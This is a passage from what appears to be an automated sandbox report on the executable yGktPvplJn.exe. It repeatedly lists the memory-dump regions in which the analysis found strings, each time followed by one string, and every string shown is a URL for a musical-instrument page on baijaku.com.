00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fodera_emperor6_bolt-on_custom2018.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fodera_emperor_5strings_bolt-on_fl05.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fodera_monarch_yin-yang_5strings04.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fodera_monarch_yin_yang03.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-gibson_eb-3-62.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-history_mmbj-lr05.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-rickenbacker_1999_fg_09%20.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-combat_st_warm_2000sb.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-conde_hermanos_paco_de_lucia04.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-fender_stratocaster_deluxe_m_by_art_spaza01.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-gibson_es-335_64sb.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-gibson_mandolin_f-5g_01.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 